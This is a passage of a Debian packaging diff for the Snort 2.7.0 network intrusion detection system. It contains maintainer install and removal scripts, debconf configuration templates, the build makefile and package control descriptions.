+	db_input medium snort-mysql/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.7.0.orig/debian/snort-inline.prerm
+++ snort-2.7.0/debian/snort-inline.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-inline.preinst
+++ snort-2.7.0/debian/snort-inline.preinst
@@ -0,0 +1,114 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-pgsql.manpages
+++ snort-2.7.0/debian/snort-pgsql.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.7.0.orig/debian/snort-common.templates
+++ snort-2.7.0/debian/snort-common.templates
@@ -0,0 +1,11 @@
+Template: snort/deprecated_config
+Type: note
+_Description: Deprecated configuration file
+ The Snort configuration file (/etc/snort/snort.conf) uses deprecated
+ options no longer available for this Snort release. Snort will not be able to
+ start unless you provide a correct configuration file. Either allow the
+ configuration file to be replaced with the one provided in this package or fix
+ it manually by removing deprecated options.
+ .
+ The following deprecated options were found in the configuration file:
+ ${DEP_CONFIG}
--- snort-2.7.0.orig/debian/snort-pgsql.docs
+++ snort-2.7.0/debian/snort-pgsql.docs
@@ -0,0 +1,14 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
+debian/README-database.Debian
+debian/README-database-upgrade.Debian
--- snort-2.7.0.orig/debian/compat
+++ snort-2.7.0/debian/compat
@@ -0,0 +1 @@
+4
--- snort-2.7.0.orig/debian/oldrules.md5
+++ snort-2.7.0/debian/oldrules.md5
@@ -0,0 +1,33 @@
+3bc265bef3ff5fc675f9f1acf8ea6390  attack-responses.rules
+c20eb0f3f140b7659ebd37f2e3553f2d  backdoor.rules
+08b710276367c03fcd26d1b3512a870d  bad-traffic.rules
+48683f29e6452e4e43f1af004f537485  ddos.rules
+f605e07289ace0adc279aa46225834a5  dns.rules
+b231ab5af973df5f06201f16be8a37ff  dos.rules
+31788f18caaed776f021e5029bdd6757  exploit.rules
+3f0c90491298edd0dfc37a6afc9ffac6  finger.rules
+a2f2068460b622a85624b664d9108b36  ftp.rules
+c580f094d32435915f893c2661fb73dc  icmp-info.rules
+3abbb384dd222225560ec87b324b63ce  icmp.rules
+9159fed0eda9c16245f4c6edb94c0d7c  info.rules
+8005f28d5e2400c474a7b765029eefb5  local.rules
+8204b5ce028496bca3f95a06dfca10b9  misc.rules
+f63f7c3c9a9f627521b0dcce1e134f1f  netbios.rules
+fe402fc3c9e795ea22af59be84683be5  policy.rules
+00b1e66fe86b46bf94460320ca71d972  porn.rules
+c23be32425937a87219ccd0ee4f85813  rpc.rules
+82a173d9144a11ea1e686fcec730549a  rservices.rules
+c9dd621a43c896dde6dd2da09575897f  scan.rules
+55a0e660ea08c314cf4d5c19f7973f83  shellcode.rules
+b304d4b570e94112d6b025d6a55007c1  smtp.rules
+ccff2e48615eb7d27466b26a9dd66b66  sql.rules
+f68e3bee2ab97ce729f20a0f4751ca04  telnet.rules
+a263d7e4526e8012aafd9daf62690519  tftp.rules
+2abd1c03364a8a1c01650764cf2af2f1  virus.rules
+fe239ae24a682d3d47251c28689fc9ec  web-attacks.rules
+2e99d333c4ab20bfd3f5694915b6d591  web-cgi.rules
+3051d9dda0ed859487580733b2a318d2  web-coldfusion.rules
+b7fc9e8371d04b5ec203651c15135657  web-frontpage.rules
+e7100df55b15a262f45d0a2940594d1f  web-iis.rules
+028a217dbdc67fea026a1f7c3dd6560b  web-misc.rules
+6e85b6a55b84bffc29fd58b8e6747b65  x11.rules
--- snort-2.7.0.orig/debian/snort-pgsql.templates
+++ snort-2.7.0/debian/snort-pgsql.templates
@@ -0,0 +1,180 @@
+Template: snort-pgsql/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort-pgsql/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort-pgsql/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort-pgsql/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort-pgsql/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort-pgsql/reverse_order
+Type: boolean
+Default: false
+_Description: Should Snort's testing order be changed to Pass|Alert|Log?
+ Snort's default testing order is Alert|Pass|Log; if you accept this
+ option, the order will be changed to Pass|Alert|Log, which can make it
+ simpler to use Snort with some packet-filtering tools.
+
+Template: snort-pgsql/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort-pgsql/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort-pgsql/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort-pgsql/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort-pgsql/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort-pgsql/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort-pgsql/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
+
+Template: snort-pgsql/configure_db
+Type: boolean
+Default: true
+_Description: Set up a database for snort-pgsql to log to?
+ No database has been set up for Snort to log to. Before continuing,
+ you should make sure you have:
+ .
+  - the server host name (that server must allow TCP connections
+    from this machine);
+  - a database on that server;
+  - a username and password to access the database.
+ .
+ If some of these requirements are missing, reject this option and
+ run with regular file logging support.
+ .
+ Database logging can be reconfigured later by running
+ 'dpkg-reconfigure -plow snort-pgsql'.
+
+Template: snort-pgsql/db_host
+Type: string
+_Description: Database server hostname:
+ Please specify the host name of a database server that allows
+ incoming connections from this host.
+
+Template: snort-pgsql/db_database
+Type: string
+_Description: Database name:
+ Please specify the name of an existing database to which the
+ database user has write access.
+
+Template: snort-pgsql/db_user
+Type: string
+_Description: Username for database access:
+ Please specify a database server username with write access to the database.
+
+Template: snort-pgsql/db_pass
+Type: password
+_Description: Password for the database connection:
+ Please enter the password to use to connect to the Snort Alert database.
+
+
+Template: snort-pgsql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-pgsql/
+  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ PostgreSQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.7.0.orig/debian/snort-mysql.docs
+++ snort-2.7.0/debian/snort-mysql.docs
@@ -0,0 +1,14 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
+debian/README-database.Debian
+debian/README-database-upgrade.Debian
--- snort-2.7.0.orig/debian/rules
+++ snort-2.7.0/debian/rules
@@ -0,0 +1,313 @@
+#!/usr/bin/make -f
+#-*- makefile -*-
+# Made with the aid of dh_make, by Craig Small
+# Sample debian/rules that uses debhelper. GNU copyright 1997 by Joey Hess.
+# Some lines taken from debmake, by Christoph Lameter.
+
+export DH_VERBOSE=1
+
+TMP=`pwd`/debian
+
+CFLAGS:=-g -O2 -D_GNU_SOURCE
+
+ifneq (,$(findstring debug,$(DEB_BUILD_OPTIONS)))
+	CFLAGS += -g
+endif
+ifeq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS)))
+	INSTALL_PROGRAM += -s
+endif
+
+export CFLAGS
+
+CONFFLAGS= --prefix=/usr \
+	--bindir=\$$\{exec_prefix\}/sbin \
+	--mandir=\$$\{exec_prefix\}/share/man \
+	--enable-smbalerts \
+        --enable-prelude 
+# Cannot enable flexresp since it builds only with libnet 1.0.2a
+#	--enable-flexresp \
+
+clean-sources:
+	# Clean the sources
+	[ ! -f Makefile ] ||  $(MAKE) distclean
+	cd src &&  [ ! -f Makefile ] || $(MAKE) distclean
+# Remove the flag that indicated that the sources were configured
+	-rm -f configure-stamp
+
+clean: clean-sources
+	dh_testdir
+	dh_testroot
+# Clean all the stamps
+	rm -f build*stamp install-stamp configure-stamp
+# Clean binaries we create when building the packages
+	rm -f src/snort-mysql
+	rm -f src/snort-pgsql
+	rm -f src/snort-inline
+	rm -f src/snort-basic
+	rm -f src/snort
+# Clean documents
+	cd doc && [ ! -f Makefile ] || $(MAKE) distclean
+	rm -f doc/snort_manual.pdf doc/snort_manual.ps doc/snort_manual.aux \
+	    doc/snort_manual.log doc/snort_manual.toc
+	rm -f doc/faq.idx doc/faq.out doc/faq.log doc/faq.toc doc/faq.aux \
+	    doc/faq.pdf doc/faq.ps
+	dh_clean
+
+configure: configure-stamp
+configure-stamp:
+	dh_testdir
+# Standard package support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql 
+	touch $@
+
+build-basic: build-basic-stamp
+build-basic-stamp: configure
+# NOTE: We don't clean the sources on the first compilation
+	dh_testdir
+	# Basic package (no BBDD support):
+	$(MAKE) 
+	cp src/snort src/snort-basic
+	touch $@
+
+build-pgsql: build-pgsql-stamp
+build-pgsql-stamp:
+	dh_testdir
+	sh debian/clean_sources.sh
+	# PostgreSQL package:
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--with-postgresql \
+		--with-pgsql-includes=`pg_config --includedir` 
+	$(MAKE) 
+	cp src/snort src/snort-pgsql
+	touch $@
+
+build-mysql: build-mysql-stamp
+build-mysql-stamp:
+	dh_testdir
+	sh debian/clean_sources.sh
+	# MySQL package:
+	./configure $(CONFFLAGS) \
+		--with-mysql \
+		--without-postgresql 
+	$(MAKE) 
+	cp src/snort src/snort-mysql
+	touch $@
+
+build-inline: build-inline-stamp
+build-inline-stamp: 
+	dh_testdir
+	sh debian/clean_sources.sh
+	# Inline support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql \
+		--enable-inline \
+		--with-libipq-includes=/usr/include/libipq/ 
+	$(MAKE) 
+	cp src/snort src/snort-inline
+	touch $@
+
+build-arch: build-basic build-pgsql build-mysql build-arch-stamp 
+build-arch-stamp: 
+	dh_testdir
+	touch $@
+
+build-indep: configure build-indep-stamp
+build-indep-stamp: 
+	dh_testdir
+	# Build the documentation
+# Only do this if we have the required binaries and files
+# Note: I hate hardcoding paths here, but the buildds are stupid
+	@if [ -x /usr/bin/ps2pdf -a -x /usr/bin/pslatex -a \
+	     -x /usr/bin/dvips -a \
+	     -e /usr/share/texmf-texlive/tex/latex/pslatex/pslatex.sty -a \
+	     -e /usr/share/texmf-texlive/tex/latex/oberdiek/kvoptions.sty ] ; \
+	then \
+	    $(MAKE) -C doc snort_manual.pdf faq.pdf ; \
+	else \
+	    echo >&2 'WARNING: Not building documentation, environment not available!'; \
+	fi
+	touch $@
+
+build: 
+	
+install: install-indep install-arch
+
+install-arch: 
+	dh_testdir
+	dh_testroot
+	dh_clean -k -s
+	dh_installdirs -s
+
+# Install the common binaries
+	$(MAKE) install prefix=$(TMP)/snort-common/usr/
+	rm -f  $(TMP)/snort-common/usr/sbin/snort 
+
+# Snort binaries
+	install -m 755 -o root -g root src/snort-basic $(TMP)/snort/usr/sbin/snort
+	install -m 755 -o root -g root src/snort-mysql $(TMP)/snort-mysql/usr/sbin/snort
+	install -m 755 -o root -g root src/snort-pgsql $(TMP)/snort-pgsql/usr/sbin/snort
+#	install -m 755 -o root -g root src/snort-inline   $(TMP)/snort/usr/sbin/snort
+
+# Default config
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-mysql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-pgsql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort/etc/snort/snort.common.parameters
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-mysql/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-pgsql/etc/default/snort
+#	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-inline/etc/default/snort
+
+
+#  Install init.d initscripts
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-mysql/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-pgsql/etc/init.d/snort
+#	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-inline/etc/init.d/snort
+
+#  Install PPP initscripts
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-mysql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-mysql/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-pgsql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-pgsql/etc/ppp/ip-down.d/snort
+#	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-inline/etc/ppp/ip-up.d/snort
+#	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-inline/etc/ppp/ip-down.d/snort
+
+# Logrotate files
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-mysql/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-pgsql/etc/logrotate.d/snort
+#	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-inline/etc/logrotate.d/snort
+
+# Move libraries to the snort-common-libraries package
+	mv $(TMP)/snort-common/usr/lib/ $(TMP)/snort-common-libraries/usr/
+# Remove headers, as this is not a -dev package
+#	mv $(TMP)/snort-common/usr/src/ $(TMP)/snort-common-libraries/usr/
+	rm -rf $(TMP)/sort-common/usr/src/
+
+# Remove useless (empty) directories
+	rmdir $(TMP)/snort-pgsql/usr/share/doc/snort
+	rmdir $(TMP)/snort-mysql/usr/share/doc/snort
+
+	dh_install -s
+
+install-indep: 
+	dh_testdir
+	dh_testroot
+	dh_clean -k -i
+	dh_installdirs -i
+
+# Install Debian specific, scripts and files of the snort-common
+# package
+	install -m 755 -o root -g root `pwd`/debian/snort.cron.daily $(TMP)/snort-common/etc/cron.daily/5snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort-stat $(TMP)/snort-common/usr/sbin/
+	install -m 644 -o root -g root `pwd`/etc/snort.conf $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/unicode.map $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/threshold.conf $(TMP)/snort-common/etc/snort/
+
+
+#  Install files of the arch-independent packages
+	cp rules/*.rules $(TMP)/snort-rules-default/etc/snort/rules/
+#	mkdir -p $(TMP)/snort-rules-default/usr/share/snort/
+#	install -m 644 -o root -g root `pwd`/debian/oldrules.md5 $(TMP)/snort-rules-default/usr/share/snort/oldrules.md5
+	
+	cp etc/sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/gen-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/community-sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/classification.config $(TMP)/snort-rules-default/etc/snort/
+	cp etc/reference.config $(TMP)/snort-rules-default/etc/snort/
+
+# Remove useless directories
+	rm -rf $(TMP)/snort-common/etc/ppp
+	rm -rf $(TMP)/snort-doc/usr/share/doc
+
+	dh_install -i
+
+# Build architecture-independent files here.
+binary-indep: build-indep install-indep
+	dh_testdir -i
+	dh_testroot -i
+
+	dh_installdocs -i
+	dh_installexamples -i
+	dh_installdebconf -i
+	dh_installman -i 
+# Other adjustments
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/CVS
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/contrib/CVS
+	chmod +x $(TMP)/snort-common/usr/share/doc/snort-common/examples/snort*
+	cp -a doc/signatures/ $(TMP)/snort-doc/usr/share/doc/snort-doc/
+	rm -rf $(TMP)/snort-doc/usr/share/man
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	dh_undocumented -i
+	rm -rf $(TMP)/snort-common/usr/share/man/man8/snort.*
+	dh_installchangelogs -i ChangeLog
+	dh_link -i
+	dh_strip -i
+	dh_compress -i
+	dh_fixperms -i
+	dh_makeshlibs -i
+	dh_installdeb -i
+	dh_perl -i
+	dh_shlibdeps -i
+	dh_gencontrol -i
+	dh_md5sums -i
+	dh_builddeb -i
+
+# Build architecture-dependent files here.
+binary-arch: build-arch install-arch
+	dh_testdir -a
+	dh_testroot -a
+	dh_installdocs -a 
+	dh_installexamples -a
+	dh_installdebconf -a
+	dh_installman -a 
+	cp $(TMP)/snort-mysql/usr/share/doc/snort-mysql/copyright $(TMP)/snort/usr/share/doc/snort/
+	rm -f $(TMP)/snort-mysql/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-pgsql/usr/share/man/man8/snort-stat.*
+#	rm -f $(TMP)/snort-inline/usr/share/man/man8/snort-stat.*
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	rm -f $(TMP)/snort/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-common/usr/share/man/man8/snort.*
+	
+	mkdir -p $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+	install -m 644 -o root -g root schemas/create_mysql $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+
+	mkdir -p $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+	install -m 644 -o root -g root schemas/create_postgresql $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+
+	dh_undocumented -a
+	dh_installchangelogs -a ChangeLog
+	dh_link -a
+	dh_strip -a
+	dh_compress -a
+	dh_fixperms -a
+	dh_makeshlibs -a
+	dh_installdeb -a
+	dh_perl -a
+	dh_shlibdeps -a
+	dh_gencontrol -a
+	dh_md5sums -a
+	dh_builddeb -a
+
+source diff:                                                                  
+	@echo >&2 'source and diff are obsolete - use dpkg-source -b'; false
+
+update-rules:
+	mv rules rules.old
+	wget -q -O ../snortrules-snapshot-2_2.tar.gz http://www.snort.org/dl/rules/snortrules-snapshot-2_2.tar.gz
+	tar -zxf ../snortrules-snapshot-2_2.tar.gz
+	if [ -d rules ] ; then mv rules.old/Makefile* rules/; rm -rf rules.old; fi
+
+# Update the Debconf templates for all packages using the common templates
+update-templates: debian/snort.TEMPLATE.templates debian/snort.DATABASE.templates debian/snort-mysql.ADD.templates debian/snort-pgsql.ADD.templates
+	cd debian && sh generate-templates.sh
+	cd debian && debconf-updatepo
+
+binary: binary-arch binary-indep
+.PHONY: build clean binary-indep binary-arch binary install install-indep install-arch
--- snort-2.7.0.orig/debian/snort-inline.dirs
+++ snort-2.7.0/debian/snort-inline.dirs
@@ -0,0 +1,9 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.7.0.orig/debian/control
+++ snort-2.7.0/debian/control
@@ -0,0 +1,137 @@
+Source: snort
+Section: net
+Priority: optional
+Maintainer: Javier Fernandez-Sanguino Pen~a <jfs@debian.org>
+Uploaders: Pascal Hakim <pasc@debian.org>
+Build-Depends: libnet1-dev, libpcap0.8-dev, libpcre3-dev, debhelper (>= 4.1.13), libmysqlclient15-dev | libmysqlclient-dev, libpq-dev, po-debconf (>= 0.5.0), libprelude-dev, iptables-dev [!kfreebsd-i386 !kfreebsd-amd64 !hurd-i386], libgnutls-dev
+Build-Depends-Indep: texlive, texlive-latex-base, gs-common
+Standards-Version:  3.7.3
+Homepage: http://www.snort.org/
+
+Package: snort
+Architecture: any
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-common-libraries (>=${binary:Version}), snort-rules-default (>= ${source:Version}), debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${source:Version}), logrotate
+Conflicts: snort-mysql, snort-pgsql
+Replaces: snort-common (<< 2.0.2-3)
+Recommends: iproute
+Suggests: snort-doc
+Description: flexible Network Intrusion Detection System
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This package provides the plain-vanilla version of Snort and does not
+ provide database (available in snort-pgsql and snort-mysql) support.
+
+Package: snort-common
+Architecture: all
+Pre-Depends: adduser (>= 3.11)
+Depends: perl-modules, debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, lsb-base
+Conflicts: snort (<< ${binary:Version})
+Replaces: snort (<< 1.8.4beta1-1)
+Suggests: snort-doc
+Description: flexible Network Intrusion Detection System [common files]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This is a common package which holds cron jobs, tools and config files used
+ by all Snort-based packages.
+
+Package: snort-doc
+Architecture: all
+Priority: optional
+Section: doc
+Description: Documentation for the Snort IDS [documentation]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+
+Package: snort-mysql
+Provides: snort
+Architecture: any
